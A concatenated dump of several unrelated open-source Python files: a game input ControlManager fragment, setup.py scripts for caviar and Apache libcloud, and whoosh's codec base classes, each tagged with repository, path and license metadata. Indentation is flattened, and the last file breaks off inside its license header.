def deleteCollisions(self):
assert self.notify.debugCall(id(self))
for controls in self.controls.values():
controls.deleteCollisions()
def collisionsOn(self):
assert self.notify.debugCall(id(self))
if self.currentControls:
self.currentControls.setCollisionsActive(1)
def collisionsOff(self):
assert self.notify.debugCall(id(self))
if self.currentControls:
self.currentControls.setCollisionsActive(0)
def placeOnFloor(self):
assert self.notify.debugCall(id(self))
if self.currentControls:
self.currentControls.placeOnFloor()
def enable(self):
assert self.notify.debugCall(id(self))
if self.isEnabled:
assert self.notify.debug('already isEnabled')
return
self.isEnabled = 1
# keep track of what we do on the inputState so we can undo it later on
#self.inputStateTokens = []
ist = self.inputStateTokens
ist.append(inputState.watch("run", 'runningEvent', "running-on", "running-off"))
ist.append(inputState.watchWithModifiers("forward", "arrow_up", inputSource=inputState.ArrowKeys))
ist.append(inputState.watch("forward", "force-forward", "force-forward-stop"))
ist.append(inputState.watchWithModifiers("reverse", "arrow_down", inputSource=inputState.ArrowKeys))
ist.append(inputState.watchWithModifiers("reverse", "mouse4", inputSource=inputState.Mouse))
if self.wantWASD:
ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys))
ist.append(inputState.watch("turnLeft", "mouse-look_left", "mouse-look_left-done"))
ist.append(inputState.watch("turnLeft", "force-turnLeft", "force-turnLeft-stop"))
ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys))
ist.append(inputState.watch("turnRight", "mouse-look_right", "mouse-look_right-done"))
ist.append(inputState.watch("turnRight", "force-turnRight", "force-turnRight-stop"))
ist.append(inputState.watchWithModifiers("forward", "w", inputSource=inputState.WASD))
ist.append(inputState.watchWithModifiers("reverse", "s", inputSource=inputState.WASD))
ist.append(inputState.watchWithModifiers("slideLeft", "q", inputSource=inputState.QE))
ist.append(inputState.watchWithModifiers("slideRight", "e", inputSource=inputState.QE))
self.setWASDTurn(self.__WASDTurn)
else:
ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys))
ist.append(inputState.watch("turnLeft", "mouse-look_left", "mouse-look_left-done"))
ist.append(inputState.watch("turnLeft", "force-turnLeft", "force-turnLeft-stop"))
ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys))
ist.append(inputState.watch("turnRight", "mouse-look_right", "mouse-look_right-done"))
ist.append(inputState.watch("turnRight", "force-turnRight", "force-turnRight-stop"))
# Jump controls
if self.wantWASD:
ist.append(inputState.watchWithModifiers("jump", "space"))
else:
ist.append(inputState.watch("jump", "control", "control-up"))
if self.currentControls:
self.currentControls.enableAvatarControls()
def disable(self):
assert self.notify.debugCall(id(self))
self.isEnabled = 0
for token in self.inputStateTokens:
token.release()
self.inputStateTokens = []
for token in self.WASDTurnTokens:
token.release()
self.WASDTurnTokens = []
if self.currentControls:
self.currentControls.disableAvatarControls()
if self.passMessagesThrough: # for not breaking toontown
ist=self.inputStateTokens
ist.append(inputState.watchWithModifiers("forward", "arrow_up", inputSource=inputState.ArrowKeys))
ist.append(inputState.watchWithModifiers("reverse", "arrow_down", inputSource=inputState.ArrowKeys))
ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys))
ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys))
def stop(self):
self.disable()
if self.currentControls:
self.currentControls.setCollisionsActive(0)
self.currentControls.setAvatar(None)
self.currentControls = None
def disableAvatarJump(self):
"""
prevent
"""
assert self.forceAvJumpToken is None
self.forceAvJumpToken=inputState.force(
"jump", 0, 'ControlManager.disableAvatarJump')
def enableAvatarJump(self):
"""
Stop forcing the ctrl key to return 0's
"""
assert self.forceAvJumpToken is not None
self.forceAvJumpToken.release()
self.forceAvJumpToken = None
def monitor(self, foo):
#assert self.debugPrint("monitor()")
#if 1:
# airborneHeight=self.avatar.getAirborneHeight()
# onScreenDebug.add("airborneHeight", "% 10.4f"%(airborneHeight,))
if 0:
onScreenDebug.add("InputState forward", "%d"%(inputState.isSet("forward")))
onScreenDebug.add("InputState reverse", "%d"%(inputState.isSet("reverse")))
onScreenDebug.add("InputState turnLeft", "%d"%(inputState.isSet("turnLeft")))
onScreenDebug.add("InputState turnRight", "%d"%(inputState.isSet("turnRight")))
onScreenDebug.add("InputState slideLeft", "%d"%(inputState.isSet("slideLeft")))
onScreenDebug.add("InputState slideRight", "%d"%(inputState.isSet("slideRight")))
return Task.cont
def setWASDTurn(self, turn):
self.__WASDTurn = turn
if not self.isEnabled:
return
turnLeftWASDSet = inputState.isSet("turnLeft", inputSource=inputState.WASD)
turnRightWASDSet = inputState.isSet("turnRight", inputSource=inputState.WASD)
slideLeftWASDSet = inputState.isSet("slideLeft", inputSource=inputState.WASD)
slideRightWASDSet = inputState.isSet("slideRight", inputSource=inputState.WASD)
for token in self.WASDTurnTokens:
token.release()
if turn:
self.WASDTurnTokens = (
inputState.watchWithModifiers("turnLeft", "a", inputSource=inputState.WASD),
inputState.watchWithModifiers("turnRight", "d", inputSource=inputState.WASD),
)
inputState.set("turnLeft", slideLeftWASDSet, inputSource=inputState.WASD)
inputState.set("turnRight", slideRightWASDSet, inputSource=inputState.WASD)
inputState.set("slideLeft", False, inputSource=inputState.WASD)
inputState.set("slideRight", False, inputSource=inputState.WASD)
else:
self.WASDTurnTokens = (
inputState.watchWithModifiers("slideLeft", "a", inputSource=inputState.WASD),
inputState.watchWithModifiers("slideRight", "d", inputSource=inputState.WASD),
)
inputState.set("slideLeft", turnLeftWASDSet, inputSource=inputState.WASD)
inputState.set("slideRight", turnRightWASDSet, inputSource=inputState.WASD)
inputState.set("turnLeft", False, inputSource=inputState.WASD)
inputState.set("turnRight", False, inputSource=inputState.WASD)
|
bsd-3-clause
|
Benniphx/server-tools
|
mass_editing/wizard/__init__.py
|
62
|
1052
|
# -*- coding: utf-8 -*-
##############################################################################
#
# This module uses OpenERP, Open Source Management Solution Framework.
# Copyright (C):
# 2012-Today Serpent Consulting Services (<http://www.serpentcs.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>
#
##############################################################################
from . import mass_editing_wizard
|
agpl-3.0
|
miquelo/caviar
|
setup.py
|
1
|
1856
|
#
# This file is part of CAVIAR.
#
# CAVIAR is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# CAVIAR is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with CAVIAR. If not, see <http://www.gnu.org/licenses/>.
#
import distutils.cmd
import distutils.log
from setuptools import setup, find_packages
class CoverageCommand(distutils.cmd.Command):
description = "Generate a test coverage report."
user_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
import subprocess
subprocess.check_call([
"coverage",
"run",
"--source=packages",
"setup.py",
"test",
])
self.announce(
"COVERAGE REPORT",
level=distutils.log.INFO
)
subprocess.check_call([
"coverage",
"report"
])
subprocess.check_call([
"coverage",
"html"
])
setup(
cmdclass={
"coverage": CoverageCommand
},
name="caviar",
version="0.1.5",
author="Miquel A. Ferran Gonzalez",
author_email="[email protected]",
packages=find_packages("packages"),
namespace_packages=[
"caviar",
"caviar.provider",
"caviar.provider.machinery",
"caviar.provider.ssh"
],
package_dir={
"": "packages"
},
test_suite="testsuite",
url="https://pypi.python.org/pypi/caviar",
license="LICENSE.txt",
description="Easy to use tools for advanced GlassFish management.",
long_description=open("README-PIP.md").read()
)
|
gpl-3.0
|
pquentin/libcloud
|
setup.py
|
3
|
5864
|
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import sys
from setuptools import setup
from distutils.core import Command
from os.path import join as pjoin
try:
import epydoc # NOQA
has_epydoc = True
except ImportError:
has_epydoc = False
import libcloud.utils # NOQA
from libcloud.utils.dist import get_packages, get_data_files # NOQA
libcloud.utils.SHOW_DEPRECATION_WARNING = False
# Different versions of python have different requirements. We can't use
# libcloud.utils.py3 here because it relies on backports dependency being
# installed / available
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY3_pre_34 = PY3 and sys.version_info < (3, 4)
PY2_pre_26 = PY2 and sys.version_info < (2, 6)
PY2_pre_27 = PY2 and sys.version_info < (2, 7)
PY2_pre_279 = PY2 and sys.version_info < (2, 7, 9)
HTML_VIEWSOURCE_BASE = 'https://svn.apache.org/viewvc/libcloud/trunk'
PROJECT_BASE_DIR = 'http://libcloud.apache.org'
TEST_PATHS = ['libcloud/test', 'libcloud/test/common', 'libcloud/test/compute',
'libcloud/test/storage', 'libcloud/test/loadbalancer',
'libcloud/test/dns', 'libcloud/test/container',
'libcloud/test/backup']
DOC_TEST_MODULES = ['libcloud.compute.drivers.dummy',
'libcloud.storage.drivers.dummy',
'libcloud.dns.drivers.dummy',
'libcloud.container.drivers.dummy',
'libcloud.backup.drivers.dummy']
SUPPORTED_VERSIONS = ['2.6', '2.7', 'PyPy', '3.x']
TEST_REQUIREMENTS = [
'mock',
'requests',
'requests_mock',
'pytest',
'pytest-runner'
]
if PY2_pre_279:
TEST_REQUIREMENTS.append('backports.ssl_match_hostname')
if PY2_pre_27 or PY3_pre_34:
version = '.'.join([str(x) for x in sys.version_info[:3]])
print('Version ' + version + ' is not supported. Supported versions are ' +
', '.join(SUPPORTED_VERSIONS))
sys.exit(1)
def read_version_string():
version = None
sys.path.insert(0, pjoin(os.getcwd()))
from libcloud import __version__
version = __version__
sys.path.pop(0)
return version
def forbid_publish():
argv = sys.argv
if 'upload'in argv:
print('You shouldn\'t use upload command to upload a release to PyPi. '
'You need to manually upload files generated using release.sh '
'script.\n'
'For more information, see "Making a release section" in the '
'documentation')
sys.exit(1)
class ApiDocsCommand(Command):
description = "generate API documentation"
user_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
if not has_epydoc:
raise RuntimeError('Missing "epydoc" package!')
os.system(
'pydoctor'
' --add-package=libcloud'
' --project-name=libcloud'
' --make-html'
' --html-viewsource-base="%s"'
' --project-base-dir=`pwd`'
' --project-url="%s"'
% (HTML_VIEWSOURCE_BASE, PROJECT_BASE_DIR))
forbid_publish()
install_requires = ['requests']
if PY2_pre_279:
install_requires.append('backports.ssl_match_hostname')
needs_pytest = {'pytest', 'test', 'ptr'}.intersection(sys.argv)
pytest_runner = ['pytest-runner'] if needs_pytest else []
setup(
name='apache-libcloud',
version=read_version_string(),
description='A standard Python library that abstracts away differences' +
' among multiple cloud provider APIs. For more information' +
' and documentation, please see http://libcloud.apache.org',
author='Apache Software Foundation',
author_email='[email protected]',
install_requires=install_requires,
packages=get_packages('libcloud'),
package_dir={
'libcloud': 'libcloud',
},
package_data={'libcloud': get_data_files('libcloud', parent='libcloud')},
license='Apache License (2.0)',
url='http://libcloud.apache.org/',
setup_requires=pytest_runner,
tests_require=TEST_REQUIREMENTS,
cmdclass={
'apidocs': ApiDocsCommand,
},
zip_safe=False,
classifiers=[
'Development Status :: 5 - Production/Stable',
'Environment :: Console',
'Intended Audience :: Developers',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: Apache Software License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Software Development :: Libraries :: Python Modules',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: Implementation :: CPython',
'Programming Language :: Python :: Implementation :: PyPy'
]
)
|
apache-2.0
|
bdh1011/cupeye
|
venv/lib/python2.7/site-packages/whoosh/codec/base.py
|
52
|
24009
|
# Copyright 2011 Matt Chaput. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY MATT CHAPUT ``AS IS'' AND ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
# EVENT SHALL MATT CHAPUT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# The views and conclusions contained in the software and documentation are
# those of the authors and should not be interpreted as representing official
# policies, either expressed or implied, of Matt Chaput.
"""
This module contains base classes/interfaces for "codec" objects.
"""
from bisect import bisect_right
from whoosh import columns
from whoosh.automata import lev
from whoosh.compat import abstractmethod, izip, unichr, xrange
from whoosh.filedb.compound import CompoundStorage
from whoosh.system import emptybytes
from whoosh.util import random_name
# Exceptions
class OutOfOrderError(Exception):
pass
# Base classes
class Codec(object):
length_stats = True
# Per document value writer
@abstractmethod
def per_document_writer(self, storage, segment):
raise NotImplementedError
# Inverted index writer
@abstractmethod
def field_writer(self, storage, segment):
raise NotImplementedError
# Postings
@abstractmethod
def postings_writer(self, dbfile, byteids=False):
raise NotImplementedError
@abstractmethod
def postings_reader(self, dbfile, terminfo, format_, term=None, scorer=None):
raise NotImplementedError
# Index readers
def automata(self, storage, segment):
return Automata()
@abstractmethod
def terms_reader(self, storage, segment):
raise NotImplementedError
@abstractmethod
def per_document_reader(self, storage, segment):
raise NotImplementedError
# Segments and generations
@abstractmethod
def new_segment(self, storage, indexname):
raise NotImplementedError
class WrappingCodec(Codec):
def __init__(self, child):
self._child = child
def per_document_writer(self, storage, segment):
return self._child.per_document_writer(storage, segment)
def field_writer(self, storage, segment):
return self._child.field_writer(storage, segment)
def postings_writer(self, dbfile, byteids=False):
return self._child.postings_writer(dbfile, byteids=byteids)
def postings_reader(self, dbfile, terminfo, format_, term=None, scorer=None):
return self._child.postings_reader(dbfile, terminfo, format_, term=term,
scorer=scorer)
def automata(self, storage, segment):
return self._child.automata(storage, segment)
def terms_reader(self, storage, segment):
return self._child.terms_reader(storage, segment)
def per_document_reader(self, storage, segment):
return self._child.per_document_reader(storage, segment)
def new_segment(self, storage, indexname):
return self._child.new_segment(storage, indexname)
# Writer classes
class PerDocumentWriter(object):
@abstractmethod
def start_doc(self, docnum):
raise NotImplementedError
@abstractmethod
def add_field(self, fieldname, fieldobj, value, length):
raise NotImplementedError
@abstractmethod
def add_column_value(self, fieldname, columnobj, value):
raise NotImplementedError("Codec does not implement writing columns")
@abstractmethod
def add_vector_items(self, fieldname, fieldobj, items):
raise NotImplementedError
def add_vector_matcher(self, fieldname, fieldobj, vmatcher):
def readitems():
while vmatcher.is_active():
text = vmatcher.id()
weight = vmatcher.weight()
valuestring = vmatcher.value()
yield (text, weight, valuestring)
vmatcher.next()
self.add_vector_items(fieldname, fieldobj, readitems())
def finish_doc(self):
pass
def close(self):
pass
class FieldWriter(object):
def add_postings(self, schema, lengths, items):
# This method translates a generator of (fieldname, btext, docnum, w, v)
# postings into calls to start_field(), start_term(), add(),
# finish_term(), finish_field(), etc.
start_field = self.start_field
start_term = self.start_term
add = self.add
finish_term = self.finish_term
finish_field = self.finish_field
if lengths:
dfl = lengths.doc_field_length
else:
dfl = lambda docnum, fieldname: 0
# The fieldname of the previous posting
lastfn = None
# The bytes text of the previous posting
lasttext = None
# The (fieldname, btext) of the previous spelling posting
lastspell = None
# The field object for the current field
fieldobj = None
for fieldname, btext, docnum, weight, value in items:
# Check for out-of-order postings. This is convoluted because Python
# 3 removed the ability to compare a string to None
if lastfn is not None and fieldname < lastfn:
raise OutOfOrderError("Field %r .. %r" % (lastfn, fieldname))
if fieldname == lastfn and lasttext and btext < lasttext:
raise OutOfOrderError("Term %s:%r .. %s:%r"
% (lastfn, lasttext, fieldname, btext))
# If the fieldname of this posting is different from the last one,
# tell the writer we're starting a new field
if fieldname != lastfn:
if lasttext is not None:
finish_term()
if lastfn is not None and fieldname != lastfn:
finish_field()
fieldobj = schema[fieldname]
start_field(fieldname, fieldobj)
lastfn = fieldname
lasttext = None
# HACK: items where docnum == -1 indicate words that should be added
# to the spelling graph, not the postings
if docnum == -1:
# spellterm = (fieldname, btext)
# # There can be duplicates of spelling terms, so only add a spell
# # term if it's greater than the last one
# if lastspell is None or spellterm > lastspell:
# spellword = fieldobj.from_bytes(btext)
# self.add_spell_word(fieldname, spellword)
# lastspell = spellterm
continue
# If this term is different from the term in the previous posting,
# tell the writer to start a new term
if btext != lasttext:
if lasttext is not None:
finish_term()
start_term(btext)
lasttext = btext
# Add this posting
length = dfl(docnum, fieldname)
if value is None:
value = emptybytes
add(docnum, weight, value, length)
if lasttext is not None:
finish_term()
if lastfn is not None:
finish_field()
@abstractmethod
def start_field(self, fieldname, fieldobj):
raise NotImplementedError
@abstractmethod
def start_term(self, text):
raise NotImplementedError
@abstractmethod
def add(self, docnum, weight, vbytes, length):
raise NotImplementedError
def add_spell_word(self, fieldname, text):
raise NotImplementedError
@abstractmethod
def finish_term(self):
raise NotImplementedError
def finish_field(self):
pass
def close(self):
pass
# Postings
class PostingsWriter(object):
@abstractmethod
def start_postings(self, format_, terminfo):
raise NotImplementedError
@abstractmethod
def add_posting(self, id_, weight, vbytes, length=None):
raise NotImplementedError
def finish_postings(self):
pass
@abstractmethod
def written(self):
"""Returns True if this object has already written to disk.
"""
raise NotImplementedError
# Reader classes
class FieldCursor(object):
def first(self):
raise NotImplementedError
def find(self, string):
raise NotImplementedError
def next(self):
raise NotImplementedError
def term(self):
raise NotImplementedError
class TermsReader(object):
@abstractmethod
def __contains__(self, term):
raise NotImplementedError
@abstractmethod
def cursor(self, fieldname, fieldobj):
raise NotImplementedError
@abstractmethod
def terms(self):
raise NotImplementedError
@abstractmethod
def terms_from(self, fieldname, prefix):
raise NotImplementedError
@abstractmethod
def items(self):
raise NotImplementedError
@abstractmethod
def items_from(self, fieldname, prefix):
raise NotImplementedError
@abstractmethod
def term_info(self, fieldname, text):
raise NotImplementedError
@abstractmethod
def frequency(self, fieldname, text):
return self.term_info(fieldname, text).weight()
@abstractmethod
def doc_frequency(self, fieldname, text):
return self.term_info(fieldname, text).doc_frequency()
@abstractmethod
def matcher(self, fieldname, text, format_, scorer=None):
raise NotImplementedError
@abstractmethod
def indexed_field_names(self):
raise NotImplementedError
def close(self):
pass
class Automata(object):
@staticmethod
def levenshtein_dfa(uterm, maxdist, prefix=0):
return lev.levenshtein_automaton(uterm, maxdist, prefix).to_dfa()
@staticmethod
def find_matches(dfa, cur):
unull = unichr(0)
term = cur.text()
if term is None:
return
match = dfa.next_valid_string(term)
while match:
cur.find(match)
term = cur.text()
if term is None:
return
if match == term:
yield match
term += unull
match = dfa.next_valid_string(term)
def terms_within(self, fieldcur, uterm, maxdist, prefix=0):
dfa = self.levenshtein_dfa(uterm, maxdist, prefix)
return self.find_matches(dfa, fieldcur)
# Per-doc value reader
class PerDocumentReader(object):
def close(self):
pass
@abstractmethod
def doc_count(self):
raise NotImplementedError
@abstractmethod
def doc_count_all(self):
raise NotImplementedError
# Deletions
@abstractmethod
def has_deletions(self):
raise NotImplementedError
@abstractmethod
def is_deleted(self, docnum):
raise NotImplementedError
@abstractmethod
def deleted_docs(self):
raise NotImplementedError
def all_doc_ids(self):
"""
Returns an iterator of all (undeleted) document IDs in the reader.
"""
is_deleted = self.is_deleted
return (docnum for docnum in xrange(self.doc_count_all())
if not is_deleted(docnum))
def iter_docs(self):
for docnum in self.all_doc_ids():
yield docnum, self.stored_fields(docnum)
# Columns
def supports_columns(self):
return False
def has_column(self, fieldname):
return False
def list_columns(self):
raise NotImplementedError
# Don't need to override this if supports_columns() returns False
def column_reader(self, fieldname, column):
raise NotImplementedError
# Bitmaps
def field_docs(self, fieldname):
return None
# Lengths
@abstractmethod
def doc_field_length(self, docnum, fieldname, default=0):
raise NotImplementedError
@abstractmethod
def field_length(self, fieldname):
raise NotImplementedError
@abstractmethod
def min_field_length(self, fieldname):
raise NotImplementedError
@abstractmethod
def max_field_length(self, fieldname):
raise NotImplementedError
# Vectors
def has_vector(self, docnum, fieldname):
return False
# Don't need to override this if has_vector() always returns False
def vector(self, docnum, fieldname, format_):
raise NotImplementedError
# Stored
@abstractmethod
def stored_fields(self, docnum):
raise NotImplementedError
def all_stored_fields(self):
for docnum in self.all_doc_ids():
yield self.stored_fields(docnum)
# Segment base class
class Segment(object):
"""Do not instantiate this object directly. It is used by the Index object
to hold information about a segment. A list of objects of this class are
pickled as part of the TOC file.
The TOC file stores a minimal amount of information -- mostly a list of
Segment objects. Segments are the real reverse indexes. Having multiple
segments allows quick incremental indexing: just create a new segment for
the new documents, and have the index overlay the new segment over previous
ones for purposes of reading/search. "Optimizing" the index combines the
contents of existing segments into one (removing any deleted documents
along the way).
"""
# Extension for compound segment files
COMPOUND_EXT = ".seg"
# self.indexname
# self.segid
def __init__(self, indexname):
self.indexname = indexname
self.segid = self._random_id()
self.compound = False
@classmethod
def _random_id(cls, size=16):
return random_name(size=size)
def __repr__(self):
return "<%s %s>" % (self.__class__.__name__, self.segment_id())
def codec(self):
raise NotImplementedError
def index_name(self):
return self.indexname
def segment_id(self):
if hasattr(self, "name"):
# Old segment class
return self.name
else:
return "%s_%s" % (self.index_name(), self.segid)
def is_compound(self):
if not hasattr(self, "compound"):
return False
return self.compound
# File convenience methods
def make_filename(self, ext):
return "%s%s" % (self.segment_id(), ext)
def list_files(self, storage):
prefix = "%s." % self.segment_id()
return [name for name in storage.list() if name.startswith(prefix)]
def create_file(self, storage, ext, **kwargs):
"""Convenience method to create a new file in the given storage named
with this segment's ID and the given extension. Any keyword arguments
are passed to the storage's create_file method.
"""
fname = self.make_filename(ext)
return storage.create_file(fname, **kwargs)
def open_file(self, storage, ext, **kwargs):
"""Convenience method to open a file in the given storage named with
this segment's ID and the given extension. Any keyword arguments are
passed to the storage's open_file method.
"""
fname = self.make_filename(ext)
return storage.open_file(fname, **kwargs)
def create_compound_file(self, storage):
segfiles = self.list_files(storage)
assert not any(name.endswith(self.COMPOUND_EXT) for name in segfiles)
cfile = self.create_file(storage, self.COMPOUND_EXT)
CompoundStorage.assemble(cfile, storage, segfiles)
for name in segfiles:
storage.delete_file(name)
self.compound = True
def open_compound_file(self, storage):
name = self.make_filename(self.COMPOUND_EXT)
dbfile = storage.open_file(name)
return CompoundStorage(dbfile, use_mmap=storage.supports_mmap)
# Abstract methods
@abstractmethod
def doc_count_all(self):
"""
Returns the total number of documents, DELETED OR UNDELETED, in this
segment.
"""
raise NotImplementedError
def doc_count(self):
"""
Returns the number of (undeleted) documents in this segment.
"""
return self.doc_count_all() - self.deleted_count()
def set_doc_count(self, doccount):
raise NotImplementedError
def has_deletions(self):
"""
Returns True if any documents in this segment are deleted.
"""
return self.deleted_count() > 0
@abstractmethod
def deleted_count(self):
"""
Returns the total number of deleted documents in this segment.
"""
raise NotImplementedError
@abstractmethod
def deleted_docs(self):
raise NotImplementedError
@abstractmethod
def delete_document(self, docnum, delete=True):
"""Deletes the given document number. The document is not actually
removed from the index until it is optimized.
:param docnum: The document number to delete.
:param delete: If False, this undeletes a deleted document.
"""
raise NotImplementedError
@abstractmethod
def is_deleted(self, docnum):
"""
Returns True if the given document number is deleted.
"""
raise NotImplementedError
def should_assemble(self):
return True
# Wrapping Segment
class WrappingSegment(Segment):
def __init__(self, child):
self._child = child
def codec(self):
return self._child.codec()
def index_name(self):
return self._child.index_name()
def segment_id(self):
return self._child.segment_id()
def is_compound(self):
return self._child.is_compound()
def should_assemble(self):
return self._child.should_assemble()
def make_filename(self, ext):
return self._child.make_filename(ext)
def list_files(self, storage):
return self._child.list_files(storage)
def create_file(self, storage, ext, **kwargs):
return self._child.create_file(storage, ext, **kwargs)
def open_file(self, storage, ext, **kwargs):
return self._child.open_file(storage, ext, **kwargs)
def create_compound_file(self, storage):
return self._child.create_compound_file(storage)
def open_compound_file(self, storage):
return self._child.open_compound_file(storage)
def delete_document(self, docnum, delete=True):
return self._child.delete_document(docnum, delete=delete)
def has_deletions(self):
return self._child.has_deletions()
def deleted_count(self):
return self._child.deleted_count()
def deleted_docs(self):
return self._child.deleted_docs()
def is_deleted(self, docnum):
return self._child.is_deleted(docnum)
def set_doc_count(self, doccount):
self._child.set_doc_count(doccount)
def doc_count(self):
return self._child.doc_count()
def doc_count_all(self):
return self._child.doc_count_all()
# Multi per doc reader
class MultiPerDocumentReader(PerDocumentReader):
def __init__(self, readers, offset=0):
self._readers = readers
self._doc_offsets = []
self._doccount = 0
for pdr in readers:
self._doc_offsets.append(self._doccount)
self._doccount += pdr.doc_count_all()
self.is_closed = False
def close(self):
for r in self._readers:
r.close()
self.is_closed = True
def doc_count_all(self):
return self._doccount
def doc_count(self):
total = 0
for r in self._readers:
total += r.doc_count()
return total
def _document_reader(self, docnum):
return max(0, bisect_right(self._doc_offsets, docnum) - 1)
def _reader_and_docnum(self, docnum):
rnum = self._document_reader(docnum)
offset = self._doc_offsets[rnum]
return rnum, docnum - offset
# Deletions
def has_deletions(self):
return any(r.has_deletions() for r in self._readers)
def is_deleted(self, docnum):
x, y = self._reader_and_docnum(docnum)
return self._readers[x].is_deleted(y)
def deleted_docs(self):
for r, offset in izip(self._readers, self._doc_offsets):
for docnum in r.deleted_docs():
yield docnum + offset
def all_doc_ids(self):
for r, offset in izip(self._readers, self._doc_offsets):
for docnum in r.all_doc_ids():
yield docnum + offset
# Columns
def has_column(self, fieldname):
return any(r.has_column(fieldname) for r in self._readers)
def column_reader(self, fieldname, column):
if not self.has_column(fieldname):
raise ValueError("No column %r" % (fieldname,))
default = column.default_value()
colreaders = []
for r in self._readers:
if r.has_column(fieldname):
cr = r.column_reader(fieldname, column)
else:
cr = columns.EmptyColumnReader(default, r.doc_count_all())
colreaders.append(cr)
if len(colreaders) == 1:
return colreaders[0]
else:
return columns.MultiColumnReader(colreaders)
# Lengths
def doc_field_length(self, docnum, fieldname, default=0):
x, y = self._reader_and_docnum(docnum)
return self._readers[x].doc_field_length(y, fieldname, default)
def field_length(self, fieldname):
total = 0
for r in self._readers:
total += r.field_length(fieldname)
return total
def min_field_length(self):
return min(r.min_field_length() for r in self._readers)
def max_field_length(self):
return max(r.max_field_length() for r in self._readers)
# Extended base classes
class PerDocWriterWithColumns(PerDocumentWriter):
def __init__(self):
PerDocumentWriter.__init__(self)
# Implementations need to set these attributes
self._storage = None
self._segment = None
self._docnum = None
@abstractmethod
def _has_column(self, fieldname):
raise NotImplementedError
@abstractmethod
def _create_column(self, fieldname, column):
raise NotImplementedError
@abstractmethod
def _get_column(self, fieldname):
raise NotImplementedError
def add_column_value(self, fieldname, column, value):
if not self._has_column(fieldname):
self._create_column(fieldname, column)
self._get_column(fieldname).add(self._docnum, value)
# FieldCursor implementations
class EmptyCursor(FieldCursor):
def first(self):
return None
def find(self, term):
return None
def next(self):
return None
def text(self):
return None
def term_info(self):
return None
def is_valid(self):
return False
|
bsd-3-clause
|
zasdfgbnm/qutip
|
qutip/tests/test_basis_transformation.py
|
1
|
4351
|
# This file is part of QuTiP: Quantum Toolbox in Python.
#
# Copyright (c) 2011 and later, Paul D. Nation and Robert J. Johansson.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the QuTiP: Quantum Toolbox in Python nor the names
# of its contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
